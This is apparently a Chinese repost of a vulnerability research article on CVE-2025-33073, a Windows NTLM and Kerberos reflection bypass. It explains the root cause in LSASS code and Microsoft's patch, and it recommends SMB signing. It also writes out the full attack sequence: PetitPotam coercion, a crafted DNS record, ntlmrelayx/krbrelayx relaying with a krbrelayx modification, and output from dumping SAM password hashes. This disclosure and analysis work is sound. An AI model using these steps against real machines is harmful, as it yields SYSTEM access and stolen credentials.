近二十年来,Windows 一直饱受 NTLM 反射漏洞的困扰。本文将介绍CVE-2025-33073,这是一个逻辑漏洞,它可以绕过 NTLM 反射缓解措施,并允许经过身份验证的远程攻击者在任何未强制执行 SMB 签名的计算机上以 SYSTEM 权限执行任意命令。本篇博文将详细介绍该漏洞的发现、根本原因的完整分析以及微软的补丁程序。
介绍
NTLM 反射是 NTLM 身份验证中继的一种特殊情况,其中原始身份验证被中继回发起身份验证的计算机。此类漏洞最初通过 MS08-68 公开发布,微软阻止了 SMB 到 SMB 的 NTLM 反射。多年来,其他利用向量也被发现并修补,例如 HTTP 到 SMB 的反射(已在 MS09-13 中修补)或 DCOM 到 DCOM 的反射(已在 MS15-076 中修补)。
如今,人们普遍认为 NTLM 反射攻击向量是固定的,但有时一些研究表明,绕过缓解措施只是深入研究缓解措施的实际作用的问题。
最近,一条表明 Kerberos 反射不受限制的推文引起了我们的兴趣,并促使我们更深入地研究身份验证反射。
漏洞发现
作为测试的基准,让我们看看尝试将 SMB 身份验证中继回同一台计算机时会发生什么。我们的测试机器 (SRV1) 是最新的 Windows Server 2022,已加入域,且未强制执行 SMB 签名:
$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL 192.168.56.3 SRV1.ASGARD.LOCAL[-] Sending EfsRpcEncryptFileSrv![+] Got expected ERROR_BAD_NETPATH exception!![+] Attack worked!# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support[*] Servers started, waiting for connections[*] SMBD-Thread-5 (process_request_thread): Received connection from192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL[-] Authenticating against smb://SRV1.ASGARD.LOCAL as ASGARD/SRV1$ FAILED
PetitPotam 强制 SYSTEM 服务 ( lsass.exe) 向受控机器进行身份验证,因此会收到机器账户身份验证。由于身份验证源自同一台机器,因此中继失败。
为了寻找异常行为,我们调整了不同的参数,例如侦听器主机或客户端 IP 地址。我们注册了srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DNS 记录,并将其指向我们的 IP 地址。这种格式最初由 James Forshaw 记录,并在我们之前的一篇博文中进行了探讨,它可以用来强制机器通过 Kerberos 身份验证到受控的 IP 地址。当我们使用之前的 DNS 记录强制 SRV1 作为侦听器时,我们偶然发现了一个奇怪的行为:中继居然成功了!
$ dnstool.py -u 'ASGARD.LOCALloki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3[-] Adding new record[+] LDAP operation completed successfully$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL[-] Sending EfsRpcEncryptFileSrv![+] Got expected ERROR_BAD_NETPATH exception!![+] Attack worked!# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support[*] Servers started, waiting for connections[*] SMBD-Thread-5 (process_request_thread): Received connection from192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED[*] Service RemoteRegistry isin stopped state[*] Starting service RemoteRegistry[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::[*] Done dumping SAM hashes for host: 192.168.56.14
更令人惊讶的是,ntlmrelayx.py我们能够远程转储 SAM 配置单元,这意味着我们中继的身份在机器上拥有特权。这对我们来说似乎很奇怪,因为该机器帐户在其关联的机器上没有特权。
了解漏洞
为了快速了解发生了什么,我们对两次中继攻击都进行了网络捕获。一个明显的区别显而易见:在对srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA主机名中继的网络捕获中,进行了 NTLM 本地身份验证!相反,当强制使用 IP 地址作为侦听器的计算机时,进行了标准的 NTLM 身份验证。
本地 NTLM 身份验证
NTLM 本地身份验证是 NTLM 身份验证的一种特殊情况,其中服务器(在NTLM_CHALLENGE消息中)通知客户端无需计算消息中的质询响应NTLM_AUTHENTICATE。相反,服务器在质询消息中设置“协商本地调用”,创建服务器上下文,将其添加到全局上下文列表中,并在字段中插入上下文 ID Reserved。当客户端收到该NTLM_CHALLENGE消息时,它会理解必须进行本地 NTLM 身份验证。然后,它将自己的令牌添加到通过字段中的 ID 传递的服务器上下文中Reserved。由于客户端和服务器位于同一台计算机上,因此所有操作都发生在同一 lsass.exe 进程中。最终,客户端返回一条NTLM_AUTHENTICATE几乎为空的消息,服务器使用添加到其上下文中的令牌执行进一步的操作(在本例中是通过 SMB)。
NTLM_CHALLENGE下面是使用 IP 地址作为侦听器时服务器返回的消息的网络捕获。我们可以看到,协商标志中的NTLMSSP_NEGOTIATE_LOCAL_CALL( 0x4000) 位未启用,并且该Reserved标志为 NULL。
当中继不起作用时,发送 NTLM_CHALLENGE 消息。
相反,在另一个网络捕获中,标志被设置并且Reserved值不为 NULL:
中继工作时发出 NTLM_CHALLENGE 消息。
为了确定是否必须进行本地 NTLM 身份验证,服务器会根据NTLM_NEGOTIATE消息中的两个字段进行判断:工作站名称和域名。该msv1_0!SsprHandleNegotiateMessage函数检查工作站名称和域名是否由客户端提供,如果是,则将其与当前计算机名称和域名进行比较。如果相等,服务器会在质询消息中包含标志,创建服务器上下文并将其 ID 添加到字段中。代码的简化版本如下所示:NTLMSSP_NEGOTIATE_LOCAL_CALL
Reserved
NTSTATUS SsprHandleNegotiateMessage([...]){ Context = LocalAlloc(0x160);[...]if ( RtlEqualString(&ClientSpecifiedWorkstationName, &NtLmGlobalOemPhysicalComputerNameString, 0) && RtlEqualString(&ClientSpecifiedDomainName, &NtLmGlobalOemPrimaryDomainNameString, 0) ) { Context->Id = NtLmGlobalLoopbackCounter + 1; ChallengeMessage->Flags |= NTLMSSP_NEGOTIATE_LOCAL_CALL; InsertHeadList(&NtLmGlobalLoopbackContextListHead, Context); ChallengeMessage->ServerContextHandle = Context->Id; }[...]}
网络捕获证实了这一分析:当协商本地身份验证时,NTLM_NEGOTIATE消息包含客户端的工作站名称和域名:
中继工作时发送 NTLM_NEGOTIATE 消息。
而在另一种情况下,这两个字段均设置为 NULL:
当中继不起作用时,发送 NTLM_NEGOTIATE 消息。
这种行为上的差异表明客户端将 DNS 记录检测为与本地主机等效的记录,并提示服务器应考虑 NTLM 本地身份验证。srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
根本原因
为了理解漏洞的根本原因,我们追溯到 SMB 客户端的身份验证上下文初始化过程(mrxsmb.sys)。当客户端检测到必须执行身份验证时,它会使用包调用ksecdd!AcquireCredentialsHandle函数(该函数会通过 RPC 调用 LSASS 来Negotiate获取等效的用户模式函数),以检索具有当前用户身份的凭据句柄。之后,客户端调用ksecdd!InitializeSecurityContextW,这也是对 LSASS 的 RPC 调用。根据身份验证强制执行是使用 IP 地址还是 DNS 记录完成,传递给 的目标名称InitializeSecurityContextW可能如下所示:
-
cifs/192.168.56.3
-
cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
此函数的用户模式入口点是lsasrv!SspiExProcessSecurityContext。此函数调用lsasrv!LsapCheckMarshalledTargetInfo以剥离可能存在于目标名称中的编组目标信息:
NTSTATUS LsapCheckMarshalledTargetInfo(UNICODE_STRING *TargetName){[...] status = CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, &TargetInfoSize);if (NT_SUCESS(status)) { Length = TargetName->Length; TargetName->MaximumLength = TargetName->Length; TargetName->Length = Length - TargetInfoSize; }[...]return status;}
调用此函数后,目标名称现在如下所示:
-
cifs/192.168.56.3
-
cifs/srv 1
随后,LSASS 调用已协商的身份验证包(在本例中为 NTLM),更具体地说,是调用该msv1_0!SpInitLsaModeContext函数。由于NTLM_NEGOTIATE必须精心设计消息,msv1_0!SsprHandleFirstCall因此会调用该函数。在此函数内部,会执行几项检查,以确定是否在消息中包含工作站和域名NTLM_NEGOTIATE:
NTSTATUS SsprHandleFirstCall( HANDLE CredentialHandle, NTLM_SSP_CONTEXT **SspContext, ULONG fContextReq, int a4, PSSP_CREDENTIAL Credential, UNICODE_STRING *TargetName, _DWORD *a7, void **a8, LARGE_INTEGER SystemTime, LARGE_INTEGER *a10, _OWORD *a11, LARGE_INTEGER LocalTime){ SspCredentialReferenceCredentialEx(CredentialHandle, 0, 1, &Credential);[...] SspIsTargetLocalhost(1, TargetName, &SspContext->IsLoopbackAllowed);[...]if (!SspContext->IsLoopbackAllowed && !NtLmGlobalDisableLoopbackCheck || (fContextReq & ISC_REQ_NULL_SESSION) != 0 || Credential->DomainName || Credential->UserName || Credential->Password) { SspContext->CheckForLocal = FALSE; } else { SspContext->CheckForLocal = TRUE; }[...]if (SspContext->CheckForLocal) { RtlCopyAnsiString(WorkstationName, NtLmGlobalOemPhysicalComputerNameString); RtlCopyAnsiString(DomainName, NtLmGlobalOemPrimaryDomainNameString); NegotiateMessage->OemWorkstationName = WorkstationName; NegotiateMessage->OemDomainName = DomainName; }[...]
首先,该msv1_0!SspIsTargetLocalhost函数用于确定目标名称是否与当前计算机相对应。为此,将服务类(192.168.56.3 或 srv1)之后的部分与以下几个字符串进行比较(不区分大小写):
-
机器的 FQDN(SRV1.ASGARD.LOCAL)
-
机器的主机名(SRV1)→在我们的例子中,它匹配!
-
本地主机
如果没有匹配项,则目标名称将被视为 IP 地址,并与分配给当前计算机的所有 IP 地址进行比较。如果上述检查均未通过,则目标名称将被视为与当前计算机不同。
最后,如果满足以下所有条件,则工作站和域名将包含在消息中:NTLM_NEGOTIATE
-
目标是当前机器
-
客户端没有请求NULL身份验证
-
使用当前用户的凭证(未指定明确的凭证)
在我们的例子中,所有这些条件都是正确的,这就是为什么 SMB 客户端在使用名称强制时提示服务器进行本地 NTLM 身份验证的原因srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA。
最后一个问题是:为什么我们在这台机器上拥有特权?PetitPotam 会强制lsass.exe我们进行服务器身份验证,并lsass.exe以 SYSTEM 权限运行。当客户端(lsass.exe)收到NTLM_CHALLENGE指示必须执行本地 NTLM 身份验证的消息时,它会将其 SYSTEM 令牌复制到服务器上下文中。当服务器收到该消息时,它会从上下文对象中NTLM_AUTHENTICATE检索令牌,并模拟该令牌通过 SMB 执行进一步的操作(在我们的例子中,使用远程注册表服务转储 SAM 配置单元并入侵机器)。
还有一个小惊喜,我们注意到,只需注册一条 DNS 记录即可攻陷任何易受攻击的机器:localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA。事实上,当从目标名称中剥离编组的目标信息后,就localhost只剩下目标名称了,这意味着 msv1_0!SspIsTargetLocalhost无论机器的主机名是什么,签入都会通过。
Kerberos 怎么样?
协商工作流程
在首次发现之后,我们开始怀疑 Kerberos 是否也受到了影响。毕竟,如前所述,Kerberos 无法防御反射攻击。因此,我们通过替换以下内容来执行相同的ntlmrelayx.py攻击krbrelayx.py:
$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL[-] Sending EfsRpcEncryptFileSrv![+] Got expected ERROR_BAD_NETPATH exception!![+] Attack worked!# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support[*] Servers started, waiting for connections[*] SMBD: Received connection from192.168.56.13[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'[-] No negTokenInit sent by client
有趣的是,即使我们提供了 DNS 记录作为侦听器主机,并将krbrelayx.py Kerberos 通告为其身份验证协议之一,NTLM 身份验证仍会进行协商。原因很简单,可以通过 Negotiate 身份验证包的工作原理来解释:如果远程服务器同时支持 Kerberos 和 NTLM (例如 的情况krbrelayx.py),并且客户端检测到目标是当前计算机,则使用 NTLM(执行本地 NTLM 身份验证)。为了确定目标是否与客户端的计算机是同一台计算机,lsasrv!NegpIsLoopback可以使用 函数。与函数类似,它将目标名称与 localhost(计算机的 FQDN 及其主机名)进行比较。在我们的例子中,目标名称等于主机名,因此返回 true 并协商 NTLM。要强制使用 Kerberos,只需从通告的类型中删除 NTLM mechtype 即可:msv1_0!SspIsTargetLocalhost
lsasrv!NegpIsLoopback
File: krbrelayx/lib/servers/smbrelayserver.py156: blob['tokenOid'] = '1.3.6.1.5.5.2'157: blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),158: MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),159: MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
通过应用此补丁,中继也能正常工作!
$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL[-] Sending EfsRpcEncryptFileSrv![+] Got expected ERROR_BAD_NETPATH exception!![+] Attack worked!# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support[*] Servers started, waiting for connections[*] SMBD: Received connection from192.168.56.13[*] Service RemoteRegistry isin stopped state[*] Starting service RemoteRegistry[*] Target system bootKey: 0x2969778d862ac2a6df59a263a16adbd1[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04e87eb3e0d31f79a461386dfe9c7500:::user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::[*] Done dumping SAM hashes for host: srv1.asgard.local
我们采用了相同的调查技术:首先分析网络捕获数据,以了解发生了什么。然而,捕获的数据并未发现任何异常。通过强制身份验证,AP-REQ服务在检索和中继帐户cifs/srv1时会触发一个错误SRV1$,这正是 Kerberos 强制身份验证所期望的。同样,转储 SAM 注册表配置单元的能力让我们感到困扰,因为计算机帐户(在本例中是中继身份)在其关联的计算机上没有特权,并且 Kerberos 协议中没有像 NTLM那样内置本地模式。
根本原因
当 SMB 客户端协商使用 Kerberos 而非 NTLM 时,kerberos!SpInitLsaModeContext将调用 函数。该函数调用kerberos!KerbBuildApRequest,然后调用kerberos!KerbMakeKeyEx创建一个子密钥,该子密钥是客户端和服务器在身份验证阶段后可选使用的加密密钥。该子密钥将插入到客户端发送的 的身份验证器部分中AP-REQ。如果使用 AES(默认设置),则通过调用 随机生成子密钥cryptdll!aes256RandomKey。
随后,如果当前用户是NT AUTHORITYSYSTEM或NT AUTHORITYNETWORK SERVICE,则kerberos!KerbCreateSKeyEntry调用该函数:
NTSTATUS SpInitLsaModeContext([...]){[...] KerbReferenceCredentialEx(CredentialHandle, 2u, 0, 0, &Credential);[...]if ((Credential.LogonId.LowPart == 0x3E7 || Credential.LogonId.LowPart == 0x3E4) && Credential.LogonId.HighPart == 0) { GetSystemTimeAsFileTime(&SystemTimeAsFileTime); &SystemTimeAsFileTime += 2 * KerbGlobalSkewTime.QuadPart; KerbCreateSKeyEntry( &Credential.LogonId, &SubsessionKey, &SystemTimeAsFileTime, &TokenHandle ); }}
该函数创建一个子项,其中包含当前用户的 LUID、子项、其到期时间和当前用户的令牌。然后将该子项添加到全局列表中:kerberos!KerbCreateSKeyEntry
kerberos!KerbSKeyList
NTSTATUS KerbCreateSKeyEntry( LUID *Luid,struct _KERB_ENCRYPTION_KEY *SubsessionKey,struct _FILETIME *ExpirationTime,void *TokenHandle){[...] SessionKeyEntry->Luid = *Luid; SessionKeyEntry-> TokenHandle = TokenHandle; SessionKeyEntry->ExpirationTime = ExpirationTime;[...] RtlAcquireResourceExclusive(&KerbSKeyLock, 1u); InsertHeadList(&KerbSKeyList, SessionKeyEntry); RtlReleaseResource(&KerbSKeyLock);}
当服务器收到 时AP-REQ,它会调用AcceptSecurityContext,并将调用转发给kerberos!SpAcceptLsaModeContext。该函数对 执行多项检查AP-REQ,解密后调用 ,根据kerberos!KerbCreateTokenFromTicketEx检索到的 创建一个令牌AP-REQ。接下来是有趣的部分:如果客户端名称(从票证中提取)等于计算机名称( ),则会调用kerberos!KerbGlobalMachineServiceName该函数来检查子项是否存在于全局列表中,并检查关联的登录ID是否对应于:kerberos!KerbDoesSKeyExist
AP-REQ
kerberos!KerbSKeyList
NT AUTHORITYSYSTEM
NTSTATUS KerbCreateTokenFromTicketEx([…]){[...] KerbConvertPrincipalNameToString(PrincipalName, EncryptedTicket->ClientName);[...]if (RtlEqualUnicodeString(PrincipalName, &KerbGlobalMachineServiceName, 1u) && KerbIsThisOurDomain(Domain)) { IsSystem = FALSE; KerbDoesSKeyExist(SubKey, &SubKeyExists, &Luid, &TokenHandle);if (SubKeyExists) {if (Luid.LowPart == 0x3E7 && Luid.HighPart == 0) { IsSystem = TRUE; } }[...] }[...] KerbMakeTokenInformationV3([...], IsSystem, […]);}
新的令牌信息在 and 中生成kerberos!KerbMakeTokenInformationV3,如果IsSystem为 true ,则将User令牌信息的字段设置为 SYSTEM,并将本地管理员 SID 添加到 groups 字段。
NTSTATUS KerbMakeTokenInformationV3([...], BOOL IsSystem, […]){[...]if (IsSystem) { RtlInitializeSid(LocalAdminSid, &IdentifierAuthority, 2u); *RtlSubAuthoritySid(LocalAdminSid, 0) = 32; *RtlSubAuthoritySid(LocalAdminSid, 1u) = 544; } [...]if (IsSystem) { TokenInfo->User.User.Sid = TokenSid; RtlCopySid(0xCu, TokenSid, &SystemSid); [...] }}
最终,lsasrv!LsapCreateTokenEx使用之前生成的令牌信息调用该函数来创建令牌。在我们的例子中,我们创建了一个 SYSTEM 令牌并将其与客户端关联。
补丁分析和建议
微软将 CVE-2025-33073 描述为 SMB 客户端中的一个漏洞。因此,为了理解补丁程序,我们mrxsmb.sys将内核驱动程序与补丁程序之前的版本进行了比较。差异显示,只有几个函数被修改。其中最有趣的一个是mrxsmb!SmbCeCreateSrvCall,它在尝试通过 SMB 访问资源时被调用。添加了以下代码:
NTSTATUS SmbCeCreateSrvCall([...]){[...]if ((unsigned int)CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, 0) != STATUS_INVALID_PARAMETER ) {return STATUS_INVALID_PARAMETER; }[...]
如果目标名称不包含任何编组目标信息,或者格式不正确,该函数将失败。因此,添加了此调用,以便在检测到使用包含编组目标信息的目标名称时阻止任何SMB 连接。因此,此补丁修复了该漏洞,并移除了通过注册包含编组目标信息的 DNS 记录来强制计算机通过 Kerberos 进行身份验证的功能。ksecdd!CredUnmarshalTargetInfo
为了正确修复此漏洞,请参阅Microsoft 的官方公告。此外,为了防止将来出现任何与 SMB 身份验证中继相关的漏洞,请尽可能在您的计算机上强制执行 SMB 签名。在这种情况下,即使不应用补丁程序,强制执行 SMB 签名也可以阻止此漏洞的利用。
结论
尽管微软将 CVE-2025-33073 称为权限提升,但它实际上是在任何不强制执行 SMB 签名的机器上以 SYSTEM 身份执行经过身份验证的远程命令。
在本文中,我们描述了如何意外发现该漏洞,并详细介绍了快速洞察漏洞特征的方法,并深入研究了 LSASS 内部机制,以全面了解漏洞的工作流程。最后,我们分析了官方补丁,发现该漏洞仅用几行代码就得到了修复。
最后,我们想强调的是,CVE-2025-33073 是一个很好的例子,它证明了启用 SMB 签名等纵深防御缓解措施即使在面对 0day 漏洞时也能极其有效。此外,我们也向独立向 Microsoft 报告此漏洞的其他研究人员致敬!
原文始发于微信公众号(Ots安全):NTLM反射已死,NTLM反射万岁!——CVE-2025-33073深度分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论